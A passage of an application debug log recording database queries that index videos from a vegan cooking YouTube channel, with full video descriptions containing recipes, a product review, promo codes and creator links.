Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Protein Cookies (dairy-free and gluten-free recipe)", 1, nil, false, "9lK6QGsxlII", "https://www.youtube.com/watch?v=9lK6QGsxlII", "/downloads/downloads/alec/Steamy Vegan/2024-11-10 The BEST Protein Cookies (dairy-free and gluten-free recipe)/The BEST Protein Cookies (dairy-free and gluten-free recipe) [9lK6QGsxlII].NA", false, ~U[2024-11-10 00:00:00Z]] 20:31:07.146 [debug] QUERY OK source="sources" db=1.1ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.150 [debug] QUERY OK source="media_items" db=2.9ms idle=9.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-06 00:00:00Z], 1] 20:31:07.152 [debug] QUERY OK source="media_items" db=1.4ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I'm reviewing Calming Cocoa by ALTR ROOT, a soothing, adaptogenic mushroom hot cocoa beverage to help improve your sleep. We'll be going over if it actually works, the ingredients list, how it tastes, and whether I'd recommend it to anyone who struggles with sleep.\n\nHead to ALTR ROOT's website to learn more about Calming Cocoa ➡️ https://altrroot.com/products/calming... (**I do not make commissions through any purchases made through this link**)\n\n* PROMO CODES/Products I Use*\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps: \n0:00 - Intro\n1:29 - My struggles with insomnia\n2:21 - Does it work?\n2:58 - Ingredients\n4:24 - Taste\n5:40 - Pros and cons\n8:04 - Would I recommend?", "ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴", "ae35d05f-b674-4adb-b2bf-a362e555f9bc", 1, [], false, "lNwEVKhsadc", "https://www.youtube.com/watch?v=lNwEVKhsadc", 144, "/downloads/downloads/alec/Steamy Vegan/2024-11-06 ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴/ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴 [lNwEVKhsadc].NA", false, false, false, 1, ~U[2024-11-06 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Today I'm reviewing Calming Cocoa by ALTR ROOT, a soothing, adaptogenic mushroom hot cocoa beverage to help improve your sleep. We'll be going over if it actually works, the ingredients list, how it tastes, and whether I'd recommend it to anyone who struggles with sleep.\n\nHead to ALTR ROOT's website to learn more about Calming Cocoa ➡️ https://altrroot.com/products/calming... (**I do not make commissions through any purchases made through this link**)\n\n* PROMO CODES/Products I Use*\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps: \n0:00 - Intro\n1:29 - My struggles with insomnia\n2:21 - Does it work?\n2:58 - Ingredients\n4:24 - Taste\n5:40 - Pros and cons\n8:04 - Would I recommend?", "ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴", 1, nil, false, "lNwEVKhsadc", "https://www.youtube.com/watch?v=lNwEVKhsadc", "/downloads/downloads/alec/Steamy Vegan/2024-11-06 ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴/ALTR ROOT Calming Cocoa Review | Mushroom hot cocoa that helps you SLEEP? 😴 [lNwEVKhsadc].NA", false, ~U[2024-11-06 00:00:00Z]] 20:31:07.153 [debug] QUERY OK source="sources" db=0.7ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.157 [debug] QUERY OK source="media_items" db=3.0ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-02 00:00:00Z], 1] 20:31:07.162 [debug] QUERY OK source="media_items" db=4.8ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan meal prep comes together in under 2 hours, has 5 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Lebanese food as there are so many vegan recipes that are perfect for healthy meal prep: hummus, falafels, lebanese moussaka, mujadara, and a lebanese cabbage salad. \n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/lebanese-vega...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n\n0:00 - Introduction\n0:49 - Mujadara Recipe\n6:13 - Lebanese Moussaka (Maghmour Recipe)\n15:32 - Falafel Recipe\n19:40 - Hummus Recipe\n21:25 - Malfouf (Lebanese Cabbage Salad)", "Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF", "39c2fb78-2c79-45f1-894e-6f7744830a8a", 1, [], false, "CYRDsJh8jgA", "https://www.youtube.com/watch?v=CYRDsJh8jgA", 145, "/downloads/downloads/alec/Steamy Vegan/2024-11-02 Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF/Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF [CYRDsJh8jgA].NA", false, false, false, 1, ~U[2024-11-02 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This easy vegan meal prep comes together in under 2 hours, has 5 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Lebanese food as there are so many vegan recipes that are perfect for healthy meal prep: hummus, falafels, lebanese moussaka, mujadara, and a lebanese cabbage salad. \n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/lebanese-vega...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n\n0:00 - Introduction\n0:49 - Mujadara Recipe\n6:13 - Lebanese Moussaka (Maghmour Recipe)\n15:32 - Falafel Recipe\n19:40 - Hummus Recipe\n21:25 - Malfouf (Lebanese Cabbage Salad)", "Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF", 1, nil, false, "CYRDsJh8jgA", "https://www.youtube.com/watch?v=CYRDsJh8jgA", "/downloads/downloads/alec/Steamy Vegan/2024-11-02 Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF/Lebanese Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF [CYRDsJh8jgA].NA", false, ~U[2024-11-02 00:00:00Z]] 20:31:07.163 [debug] QUERY OK source="sources" db=0.6ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.166 [debug] QUERY OK source="media_items" db=2.8ms idle=11.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-30 00:00:00Z], 1] 20:31:07.169 [debug] QUERY OK source="media_items" db=2.0ms idle=13.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan meal prep will set you up with 4 cozy comforting plant-based recipes for fall! We'll be doing a soup, root veggie salad, a pesto recipe and a breakfast sandwich, all vegan and gluten-free recipes 🧡\n\nApprox 2½ hour meal prep\n 1. Make the soup recipe\n2. While the soup cooks, roast the chickpeas and proceed with the rest of the salad recipe\n3. Make the pesto in a food processor, then store in a sealable container in the fridge.\n\nCarrot & Lentil Potato Soup – 45 mins\n1 tbsp oil or ¼ cup water for sautéing\n1 medium onion, chopped\n1 stalk celery, chopped\n1 tbsp grated fresh ginger\n1 tsp dried thyme\n¼ tsp cayenne pepper\n1½ lbs carrots (4 to 5 large), washed and roughly chopped\n2 lbs red or yellow skinned potatoes\n1 cup split yellow lentils (or red lentils), rinsed\n6 cups vegetable broth or water\n4 cloves garlic, minced\n¼ cup nutritional yeast\n1 tbsp fresh lemon juice\nSalt and pepper to taste\n\n1. Warm the oil in a large stockpot over medium heat until shimmering. Add the onion and celery and sauté for 2 to 3 minutes until softened and translucent.\n2. Add the grated ginger, thyme and cayenne and sauté a further 2 mins, stirring frequently.\n3. Add the carrots, potatoes, lentils, veggie broth, salt and pepper and stir well to combine. Cover with a lid and bring to a boil, then reduce heat to medium-low and cook for 22 to 25 minutes, or until the lentils have cooked through and the carrots and potatoes are fork tender.\n4. Stir in the lemon juice, garlic, and nutritional yeast, taste and adjust seasonings as needed. To add extra creaminess, blend 1 cup of the soup and pour back into the pot, stirring to combine.\n5. Ladle into bowls, and garnish with chopped herbs if desired, and enjoy!\n\nRoasted Roots Salad – 1hr 15mins\n\nRoasted chickpeas\n3 cups cooked/canned chickpeas, rinsed and patted very dry\n1 tbsp oil\n1 tsp garlic powder\nSalt and pepper\nSalad\n1 large rutabaga, peeled and diced\n3 medium beets, peeled and diced\n2 large carrots, washed and diced\n1 tbsp oil\nSalt and pepper\n3 tbsp balsamic vinegar\n1 tbsp maple syrup\n½ tsp dried thyme\n2 tbsp minced fresh rosemary\n3 cups chopped kale\n3 cups spinach\n¼ cup chopped pecans\n¼ cup dried cranberries\n¼ cup roasted pepitas\n¼ cup vegan feta crumbles\nDRESSING\n¼ cup orange juice\n2 tbsp maple syrup\n2 tbsp apple cider vinegar\n¼ cup olive oil\n\n1. Preheat oven to 450F with a large baking tray inside it.\n2. In a large bowl, toss the very dry chickpeas with the oil, garlic powder, salt and pepper until well combined. Carefully remove the sheet pan from the oven and transfer the chickpeas to it, then replace in the oven and roast for 20 to 25 minutes, shaking the pan halfway until they’re crispy and golden. Let cool in the pan and transfer to a bowl, keep the sheet pan out for the root veggies.\n3. Turn the oven temp down to 400F. In the same bowl you used to toss the chickpeas, add the chopped rutabaga, carrots, oil, salt and pepper and transfer to the baking tray, reserving room for the beets. Repeat with the beets, and place them on the baking tray. Roast for 25 minutes.\n4. While the veggies roast, combine the maple syrup and balsamic vinegar in a small bowl. After the 25 minutes are up, quickly remove the veggies from the oven, pour over the maple balsamic glaze and thyme and toss the veggies to combine. Replace in the oven and cook for a further 10 to 15 minutes.\n5. Make the dressing by combining all ingredients in a jar and shaking to combine.\nRemove the veggies from the oven and sprinkle over the minced rosemary.\n6. In a large salad bowl add the chopped kale and spinach, pecans, dried cranberries, pepitas, roasted chickpeas, and dressing. Toss to combine, then add the roasted veg and gently toss a few times.\nSprinkle over the vegan feta crumbles. \n\nPumpkin Seed Pesto (oil-free) – 10 mins\n½ cup roasted shelled pumpkin seeds\n2 tbsp nutritional yeast\n2 cloves garlic\n¾ cup fresh basil leaves\n¾ cup fresh cilantro\n2 tbsp lemon juice\n2 tbsp tahini\n½ cup grape tomatoes\nSalt & black pepper to taste\n\n1. In a food processor add all ingredients except the pumpkin seeds, and process on high-speed un" <> ..., "Cozy Soup, Salad, and Sandwich Meal Prep (plant-based + GF recipes)", "48fb27b8-882a-46de-88de-61dd69fb43d7", 1, [], false, "F_HXsYMD1J0", "https://www.youtube.com/watch?v=F_HXsYMD1J0", 146, "/downloads/downloads/alec/Steamy Vegan/2024-10-30 Cozy Soup, Salad, and Sandwich Meal Prep (plant-based + GF recipes)/Cozy Soup, Salad, and Sandwich Meal Prep (plant-based + GF recipes) [F_HXsYMD1J0].NA", false, false, false, 1, ~U[2024-10-30 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This vegan meal prep will set you up with 4 cozy comforting plant-based recipes for fall! We'll be doing a soup, root veggie salad, a pesto recipe and a breakfast sandwich, all vegan and gluten-free recipes 🧡\n\nApprox 2½ hour meal prep\n 1. Make the soup recipe\n2. While the soup cooks, roast the chickpeas and proceed with the rest of the salad recipe\n3. Make the pesto in a food processor, then store in a sealable container in the fridge.\n\nCarrot & Lentil Potato Soup – 45 mins\n1 tbsp oil or ¼ cup water for sautéing\n1 medium onion, chopped\n1 stalk celery, chopped\n1 tbsp grated fresh ginger\n1 tsp dried thyme\n¼ tsp cayenne pepper\n1½ lbs carrots (4 to 5 large), washed and roughly chopped\n2 lbs red or yellow skinned potatoes\n1 cup split yellow lentils (or red lentils), rinsed\n6 cups vegetable broth or water\n4 cloves garlic, minced\n¼ cup nutritional yeast\n1 tbsp fresh lemon juice\nSalt and pepper to taste\n\n1. Warm the oil in a large stockpot over medium heat until shimmering. Add the onion and celery and sauté for 2 to 3 minutes until softened and translucent.\n2. Add the grated ginger, thyme and cayenne and sauté a further 2 mins, stirring frequently.\n3. Add the carrots, potatoes, lentils, veggie broth, salt and pepper and stir well to combine. Cover with a lid and bring to a boil, then reduce heat to medium-low and cook for 22 to 25 minutes, or until the lentils have cooked through and the carrots and potatoes are fork tender.\n4. Stir in the lemon juice, garlic, and nutritional yeast, taste and adjust seasonings as needed. To add extra creaminess, blend 1 cup of the soup and pour back into the pot, stirring to combine.\n5. Ladle into bowls, and garnish with chopped herbs if desired, and enjoy!\n\nRoasted Roots Salad – 1hr 15mins\n\nRoasted chickpeas\n3 cups cooked/canned chickpeas, rinsed and patted very dry\n1 tbsp oil\n1 tsp garlic powder\nSalt and pepper\nSalad\n1 large rutabaga, peeled and diced\n3 medium beets, peeled and diced\n2 large carrots, washed and diced\n1 tbsp oil\nSalt and pepper\n3 tbsp balsamic vinegar\n1 tbsp maple syrup\n½ tsp dried thyme\n2 tbsp minced fresh rosemary\n3 cups chopped kale\n3 cups spinach\n¼ cup chopped pecans\n¼ cup dried cranberries\n¼ cup roasted pepitas\n¼ cup vegan feta crumbles\nDRESSING\n¼ cup orange juice\n2 tbsp maple syrup\n2 tbsp apple cider vinegar\n¼ cup olive oil\n\n1. Preheat oven to 450F with a large baking tray inside it.\n2. In a large bowl, toss the very dry chickpeas with the oil, garlic powder, salt and pepper until well combined. Carefully remove the sheet pan from the oven and transfer the chickpeas to it, then replace in the oven and roast for 20 (truncated) 20:31:07.170 [debug] QUERY OK source="sources" db=0.4ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.172 [debug] QUERY OK source="media_items" db=2.0ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-26 00:00:00Z], 1] 20:31:07.174 [debug] QUERY OK source="media_items" db=1.4ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make some spicy Thai noodle soup! It's vegan, gluten-free, healthy AND high-protein, thanks to the addition of tofu. \n\nWant more soup recipes? Watch this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0SOUPS\u00A0\u00A0\n\nThai Green Curry Noodle Soup 🍜\n\n1 tbsp oil\n1 tbsp minced ginger\n2 to 4 cloves garlic (preference dependant), minced\n4 green onions, white and green parts diced and separated \n2 to 3 tbsp Thai green curry paste, depending on spice preference\n1 small sweet potato (orange or Japanese), peeled and diced\n1 carrot, diced\n1 small crown broccoli, cut into small florets, stems separated\n1 large red bell pepper\n1 block extra firm tofu, cut into small cubes\n4 cups veggie broth or water\n1 can coconut milk\n½ tbsp coconut sugar\n2-3 tbsp soy sauce or tamari\n4 oz. ramen noodles\n\n1. Add the oil to a large soup pot and heat over medium-high heat until shimmering. Add the minced ginger, garlic, white parts of the green onions and Thai curry paste and sauté for 2 minutes, stirring often.\n2. Add the sweet potato, broccoli stems, bell pepper and tofu along with the broth or water, cover and bring to a boil over medium-high heat, then reduce to a simmer and cook for about 5 minutes, or until the sweet potatoes are almost fork tender.\n3. While the soup simmers, bring a small pot of water to a boil and cook your ramen noodles, then drain in a colander and rinse in hot water, then set aside.\n4. Once the sweet potatoes are almost fork tender, add the broccoli florets, coconut milk, coconut sugar, soy sauce and most of the green parts of the onion, reserving a few for garnish. Stir to combine. Cook for a further 2 to 3 minutes until the broccoli is bright green and the sweet potato is tender. \n5. Taste and adjust seasonings as needed, then serve the noodles in two bowls, ladle the soup over the noodles, then optionally top with extra green onion, fresh basil, a lime wedge and some sriracha if desired.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen", "87cac2c5-0544-475e-b089-c184fec806e6", 1, [], false, "vvj3XGi3Zfo", "https://www.youtube.com/watch?v=vvj3XGi3Zfo", 147, "/downloads/downloads/alec/Steamy Vegan/2024-10-26 I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen/I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen [vvj3XGi3Zfo].NA", false, false, false, 1, ~U[2024-10-26 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make some spicy Thai noodle soup! It's vegan, gluten-free, healthy AND high-protein, thanks to the addition of tofu. \n\nWant more soup recipes? Watch this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0SOUPS\u00A0\u00A0\n\nThai Green Curry Noodle Soup 🍜\n\n1 tbsp oil\n1 tbsp minced ginger\n2 to 4 cloves garlic (preference dependant), minced\n4 green onions, white and green parts diced and separated \n2 to 3 tbsp Thai green curry paste, depending on spice preference\n1 small sweet potato (orange or Japanese), peeled and diced\n1 carrot, diced\n1 small crown broccoli, cut into small florets, stems separated\n1 large red bell pepper\n1 block extra firm tofu, cut into small cubes\n4 cups veggie broth or water\n1 can coconut milk\n½ tbsp coconut sugar\n2-3 tbsp soy sauce or tamari\n4 oz. ramen noodles\n\n1. Add the oil to a large soup pot and heat over medium-high heat until shimmering. Add the minced ginger, garlic, white parts of the green onions and Thai curry paste and sauté for 2 minutes, stirring often.\n2. Add the sweet potato, broccoli stems, bell pepper and tofu along with the broth or water, cover and bring to a boil over medium-high heat, then reduce to a simmer and cook for about 5 minutes, or until the sweet potatoes are almost fork tender.\n3. While the soup simmers, bring a small pot of water to a boil and cook your ramen noodles, then drain in a colander and rinse in hot water, then set aside.\n4. Once the sweet potatoes are almost fork tender, add the broccoli florets, coconut milk, coconut sugar, soy sauce and most of the green parts of the onion, reserving a few for garnish. Stir to combine. Cook for a further 2 to 3 minutes until the broccoli is bright green and the sweet potato is tender. \n5. Taste and adjust seasonings as needed, then serve the noodles in two bowls, ladle the soup over the noodles, then optionally top with extra green onion, fresh basil, a lime wedge and some sriracha if desired.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen", 1, nil, false, "vvj3XGi3Zfo", "https://www.youtube.com/watch?v=vvj3XGi3Zfo", "/downloads/downloads/alec/Steamy 